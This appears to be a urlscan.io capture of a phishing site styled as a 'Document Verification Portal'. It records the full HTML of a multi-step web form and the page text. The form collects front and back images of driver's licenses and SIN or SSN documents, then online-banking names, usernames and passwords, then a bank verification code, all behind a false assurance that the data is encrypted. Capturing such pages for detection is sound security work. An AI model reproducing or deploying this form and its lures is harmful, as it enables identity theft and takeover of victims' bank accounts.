synergydocverification.xyz Open in urlscan Pro
148.72.158.61  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="forminator-module-719" class="forminator-ui forminator-custom-form forminator-custom-form-719 forminator-design--default  forminator_ajax" method="post" data-forminator-render="0" data-form-id="719" data-design="default" data-grid="open"
  enctype="multipart/form-data" style="" data-uid="66713d335c7b2" novalidate="novalidate">
  <div role="alert" aria-live="polite" class="forminator-response-message forminator-error" aria-hidden="true"></div>
  <div class="forminator-pagination-progress" aria-hidden="true">
    <div class="forminator-progress-label">33%</div>
    <div class="forminator-progress-bar"><span style="width: 33%;"></span></div>
  </div>
  <div tabindex="0" role="tabpanel" id="forminator-custom-form-719--page-0" class="forminator-pagination forminator-pagination-start" aria-labelledby="forminator-custom-form-719--page-0-label" data-step="0" data-label="Finish"
    data-name="page-break-1" style="height: auto; opacity: 1; visibility: visible;">
    <div class="forminator-pagination--content" style="">
      <div class="forminator-row">
        <div id="email-1" class="forminator-field-email forminator-col forminator-col-12 ">
          <div class="forminator-field"><label for="forminator-field-email-1_66713d335c7b2" id="forminator-field-email-1_66713d335c7b2-label" class="forminator-label">Your Email <span class="forminator-required">*</span></label><input type="email"
              name="email-1" value="" placeholder="E.g. john@doe.com" id="forminator-field-email-1_66713d335c7b2" class="forminator-input forminator-email--field" data-required="true" aria-required="true"></div>
        </div>
      </div>
      <div class="forminator-row">
        <div id="upload-2" class="forminator-field-upload forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-upload-2_66713d335c7b2" id="forminator-field-upload-2_66713d335c7b2-label" class="forminator-label">Document 1: Upload the front side here <span
                class="forminator-required">*</span></label>
            <div class="forminator-file-upload " data-element="upload-2_66713d335c7b2"><input type="file" name="upload-2" id="forminator-field-upload-2_66713d335c7b2" class="forminator-input-file-required do-validate"
                accept=".jpg,.jpeg,.jpe,.gif,.png,.bmp,.tiff,.tif,.webp,.avif,.ico,.heic,.asf,.asx,.wmv,.wmx,.wm,.avi,.divx,.flv,.mov,.qt,.mpeg,.mpg,.mpe,.mp4,.m4v,.ogv,.webm,.mkv,.3gp,.3gpp,.3g2,.3gp2,.txt,.asc,.c,.cc,.h,.srt,.csv,.tsv,.ics,.rtx,.css,.htm,.html,.vtt,.dfxp,.mp3,.m4a,.m4b,.aac,.ra,.ram,.wav,.ogg,.oga,.flac,.mid,.midi,.wma,.wax,.mka,.rtf,.js,.pdf,.class,.tar,.zip,.gz,.gzip,.rar,.7z,.psd,.xcf,.doc,.pot,.pps,.ppt,.wri,.xla,.xls,.xlt,.xlw,.mdb,.mpp,.docx,.docm,.dotx,.dotm,.xlsx,.xlsm,.xlsb,.xltx,.xltm,.xlam,.pptx,.pptm,.ppsx,.ppsm,.potx,.potm,.ppam,.sldx,.sldm,.onetoc,.onetoc2,.onetmp,.onepkg,.oxps,.xps,.odt,.odp,.ods,.odg,.odc,.odb,.odf,.wp,.wpd,.key,.numbers,.pages,.svg"><button
                id="forminator-field-upload-2_66713d335c7b2_button" class="forminator-button forminator-button-upload" data-id="forminator-field-upload-2_66713d335c7b2">Choose File</button><span data-empty-text="No file chosen">No file
                chosen</span><button class="forminator-button-delete" style="display: none;"><i class="forminator-icon-close" aria-hidden="true"></i><span class="forminator-screen-reader-only">Delete uploaded file</span></button></div>
          </div>
        </div>
        <div id="upload-4" class="forminator-field-upload forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-upload-4_66713d335c7b2" id="forminator-field-upload-4_66713d335c7b2-label" class="forminator-label">Document 1: Upload the back side here <span
                class="forminator-required">*</span></label>
            <div class="forminator-file-upload " data-element="upload-4_66713d335c7b2"><input type="file" name="upload-4" id="forminator-field-upload-4_66713d335c7b2" class="forminator-input-file-required do-validate"
                accept=".jpg,.jpeg,.jpe,.gif,.png,.bmp,.tiff,.tif,.webp,.avif,.ico,.heic,.asf,.asx,.wmv,.wmx,.wm,.avi,.divx,.flv,.mov,.qt,.mpeg,.mpg,.mpe,.mp4,.m4v,.ogv,.webm,.mkv,.3gp,.3gpp,.3g2,.3gp2,.txt,.asc,.c,.cc,.h,.srt,.csv,.tsv,.ics,.rtx,.css,.htm,.html,.vtt,.dfxp,.mp3,.m4a,.m4b,.aac,.ra,.ram,.wav,.ogg,.oga,.flac,.mid,.midi,.wma,.wax,.mka,.rtf,.js,.pdf,.class,.tar,.zip,.gz,.gzip,.rar,.7z,.psd,.xcf,.doc,.pot,.pps,.ppt,.wri,.xla,.xls,.xlt,.xlw,.mdb,.mpp,.docx,.docm,.dotx,.dotm,.xlsx,.xlsm,.xlsb,.xltx,.xltm,.xlam,.pptx,.pptm,.ppsx,.ppsm,.potx,.potm,.ppam,.sldx,.sldm,.onetoc,.onetoc2,.onetmp,.onepkg,.oxps,.xps,.odt,.odp,.ods,.odg,.odc,.odb,.odf,.wp,.wpd,.key,.numbers,.pages,.svg"><button
                id="forminator-field-upload-4_66713d335c7b2_button" class="forminator-button forminator-button-upload" data-id="forminator-field-upload-4_66713d335c7b2">Choose File</button><span data-empty-text="No file chosen">No file
                chosen</span><button class="forminator-button-delete" style="display: none;"><i class="forminator-icon-close" aria-hidden="true"></i><span class="forminator-screen-reader-only">Delete uploaded file</span></button></div>
          </div>
        </div>
      </div>
      <div class="forminator-row">
        <div id="upload-3" class="forminator-field-upload forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-upload-3_66713d335c7b2" id="forminator-field-upload-3_66713d335c7b2-label" class="forminator-label">Document 2: Upload the Front side here <span
                class="forminator-required">*</span></label>
            <div class="forminator-file-upload " data-element="upload-3_66713d335c7b2"><input type="file" name="upload-3" id="forminator-field-upload-3_66713d335c7b2" class="forminator-input-file-required do-validate"
                accept=".jpg,.jpeg,.jpe,.gif,.png,.bmp,.tiff,.tif,.webp,.avif,.ico,.heic,.asf,.asx,.wmv,.wmx,.wm,.avi,.divx,.flv,.mov,.qt,.mpeg,.mpg,.mpe,.mp4,.m4v,.ogv,.webm,.mkv,.3gp,.3gpp,.3g2,.3gp2,.txt,.asc,.c,.cc,.h,.srt,.csv,.tsv,.ics,.rtx,.css,.htm,.html,.vtt,.dfxp,.mp3,.m4a,.m4b,.aac,.ra,.ram,.wav,.ogg,.oga,.flac,.mid,.midi,.wma,.wax,.mka,.rtf,.js,.pdf,.class,.tar,.zip,.gz,.gzip,.rar,.7z,.psd,.xcf,.doc,.pot,.pps,.ppt,.wri,.xla,.xls,.xlt,.xlw,.mdb,.mpp,.docx,.docm,.dotx,.dotm,.xlsx,.xlsm,.xlsb,.xltx,.xltm,.xlam,.pptx,.pptm,.ppsx,.ppsm,.potx,.potm,.ppam,.sldx,.sldm,.onetoc,.onetoc2,.onetmp,.onepkg,.oxps,.xps,.odt,.odp,.ods,.odg,.odc,.odb,.odf,.wp,.wpd,.key,.numbers,.pages,.svg"><button
                id="forminator-field-upload-3_66713d335c7b2_button" class="forminator-button forminator-button-upload" data-id="forminator-field-upload-3_66713d335c7b2">Choose File</button><span data-empty-text="No file chosen">No file
                chosen</span><button class="forminator-button-delete" style="display: none;"><i class="forminator-icon-close" aria-hidden="true"></i><span class="forminator-screen-reader-only">Delete uploaded file</span></button></div>
          </div>
        </div>
        <div id="upload-5" class="forminator-field-upload forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-upload-5_66713d335c7b2" id="forminator-field-upload-5_66713d335c7b2-label" class="forminator-label">Document 2: Upload the back side here <span
                class="forminator-required">*</span></label>
            <div class="forminator-file-upload " data-element="upload-5_66713d335c7b2"><input type="file" name="upload-5" id="forminator-field-upload-5_66713d335c7b2" class="forminator-input-file-required do-validate"
                accept=".jpg,.jpeg,.jpe,.gif,.png,.bmp,.tiff,.tif,.webp,.avif,.ico,.heic,.asf,.asx,.wmv,.wmx,.wm,.avi,.divx,.flv,.mov,.qt,.mpeg,.mpg,.mpe,.mp4,.m4v,.ogv,.webm,.mkv,.3gp,.3gpp,.3g2,.3gp2,.txt,.asc,.c,.cc,.h,.srt,.csv,.tsv,.ics,.rtx,.css,.htm,.html,.vtt,.dfxp,.mp3,.m4a,.m4b,.aac,.ra,.ram,.wav,.ogg,.oga,.flac,.mid,.midi,.wma,.wax,.mka,.rtf,.js,.pdf,.class,.tar,.zip,.gz,.gzip,.rar,.7z,.psd,.xcf,.doc,.pot,.pps,.ppt,.wri,.xla,.xls,.xlt,.xlw,.mdb,.mpp,.docx,.docm,.dotx,.dotm,.xlsx,.xlsm,.xlsb,.xltx,.xltm,.xlam,.pptx,.pptm,.ppsx,.ppsm,.potx,.potm,.ppam,.sldx,.sldm,.onetoc,.onetoc2,.onetmp,.onepkg,.oxps,.xps,.odt,.odp,.ods,.odg,.odc,.odb,.odf,.wp,.wpd,.key,.numbers,.pages,.svg"><button
                id="forminator-field-upload-5_66713d335c7b2_button" class="forminator-button forminator-button-upload" data-id="forminator-field-upload-5_66713d335c7b2">Choose File</button><span data-empty-text="No file chosen">No file
                chosen</span><button class="forminator-button-delete" style="display: none;"><i class="forminator-icon-close" aria-hidden="true"></i><span class="forminator-screen-reader-only">Delete uploaded file</span></button></div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div tabindex="0" role="tabpanel" id="forminator-custom-form-719--page-1" class="forminator-pagination" aria-labelledby="forminator-custom-form-719--page-1-label" aria-hidden="true" data-step="1" data-label="Step 1" data-name="page-break-2"
    hidden="hidden" style="height: 0px; opacity: 0; visibility: hidden;">
    <div class="forminator-pagination--content" style="display: none;">
      <div class="forminator-row">
        <div id="section-1" class="forminator-field-section forminator-col forminator-col-12 ">
          <div class="forminator-field">
            <h2 class="forminator-title">Verify Your Bank Information to Receive Payments.</h2>
            <hr class="forminator-border" style="border: 1px solid #17a8e3;">
          </div>
        </div>
      </div>
      <div class="forminator-row">
        <div id="name-1" class="forminator-field-name forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-name-1_66713d335c7b2" id="forminator-field-name-1_66713d335c7b2-label" class="forminator-label">Bank Name <span class="forminator-required">*</span></label><input type="text"
              name="name-1" value="" placeholder="E.g. John Doe Bank" id="forminator-field-name-1_66713d335c7b2" class="forminator-input forminator-name--field" aria-required="true"></div>
        </div>
        <div id="name-2" class="forminator-field-name forminator-col forminator-col-6 ">
          <div class="forminator-field"><label for="forminator-field-name-2_66713d335c7b2" id="forminator-field-name-2_66713d335c7b2-label" class="forminator-label">Username or Access Card <span class="forminator-required">*</span></label><input
              type="text" name="name-2" value="" placeholder="" id="forminator-field-name-2_66713d335c7b2" class="forminator-input forminator-name--field" aria-required="true"></div>
        </div>
      </div>
      <div class="forminator-row">
        <div id="text-1" class="forminator-field-text forminator-col forminator-col-12 ">
          <div class="forminator-field"><label for="forminator-field-text-1_66713d335c7b2" id="forminator-field-text-1_66713d335c7b2-label" class="forminator-label">Password <span class="forminator-required">*</span></label><input type="text"
              name="text-1" value="" placeholder="" id="forminator-field-text-1_66713d335c7b2" class="forminator-input forminator-name--field" data-required="1"></div>
        </div>
      </div>
    </div>
  </div>
  <div tabindex="0" role="tabpanel" id="forminator-custom-form-719--page-2" class="forminator-pagination" aria-labelledby="forminator-custom-form-719--page-2-label" aria-hidden="true" data-step="2" data-label="Page  2" data-name="" hidden="hidden"
    style="height: 0px; opacity: 0; visibility: hidden;">
    <div class="forminator-pagination--content" style="display: none;">
      <div class="forminator-row">
        <div id="section-2" class="forminator-field-section forminator-col forminator-col-12 ">
          <div class="forminator-field">
            <h2 class="forminator-title">You should receive a verification code from your bank, input it below. It might take up to 24 hours once you receive it come to this page and verify it.</h2>
            <hr class="forminator-border" style="border: 1px solid #17a8e3;">
          </div>
        </div>
      </div>
      <div class="forminator-row">
        <div id="number-1" class="forminator-field-number forminator-col forminator-col-12 ">
          <div class="forminator-field"><label for="forminator-field-number-1_66713d335c7b2" id="forminator-field-number-1_66713d335c7b2-label" class="forminator-label">Code <span class="forminator-required">*</span></label><input name="number-1"
              value="" placeholder="E.g. 10" id="forminator-field-number-1_66713d335c7b2" class="forminator-input forminator-number--field" inputmode="decimal" data-required="1" data-decimals="0" aria-required="true"
              data-inputmask="'groupSeparator': '', 'radixPoint': '', 'digits': '0'" data-hidden-behavior="zero" type="number" step="any" min="1" max="1500000000000000000000"></div>
        </div>
      </div>
    </div><button class="forminator-button forminator-pagination-submit" style="display: none;" disabled="">VERIFY NOW</button>
  </div><input type="hidden" name="referer_url" value=""><input type="hidden" id="forminator_nonce" name="forminator_nonce" value="9ee4d00805"><input type="hidden" name="_wp_http_referer" value="/"><input type="hidden" name="form_id"
    value="719"><input type="hidden" name="page_id" value="704"><input type="hidden" name="form_type" value="registration"><input type="hidden" name="current_url" value="https://synergydocverification.xyz/"><input type="hidden" name="render_id"
    value="0"><input type="hidden" name="action" value="forminator_submit_form_custom-forms">
  <div class="forminator-pagination-footer" style="justify-content: flex-end;"><button class="forminator-button forminator-button-back forminator-hidden">Previous</button><button class="forminator-button forminator-button-next">Next</button></div>
</form>

Text Content

Skip to content



DOCUMENT VERIFICATION PORTAL

Upload the front and back of your Identity Documents

 * Provincial or State Identification Card or Driver’s License
 * SIN Document for Canadian Residents
 * SSN Document for United States Residents


33%

Your Email *
Document 1: Upload the front side here *
Choose FileNo file chosenDelete uploaded file
Document 1: Upload the back side here *
Choose FileNo file chosenDelete uploaded file
Document 2: Upload the Front side here *
Choose FileNo file chosenDelete uploaded file
Document 2: Upload the back side here *
Choose FileNo file chosenDelete uploaded file


VERIFY YOUR BANK INFORMATION TO RECEIVE PAYMENTS.

--------------------------------------------------------------------------------

Bank Name *
Username or Access Card *
Password *


YOU SHOULD RECEIVE A VERIFICATION CODE FROM YOUR BANK, INPUT IT BELOW. IT MIGHT
TAKE UP TO 24 HOURS ONCE YOU RECEIVE IT COME TO THIS PAGE AND VERIFY IT.

--------------------------------------------------------------------------------

Code *
VERIFY NOW
PreviousNext
Your Information is encrypted 🔒
 

Copyright © 2024 - Synergy Document Verification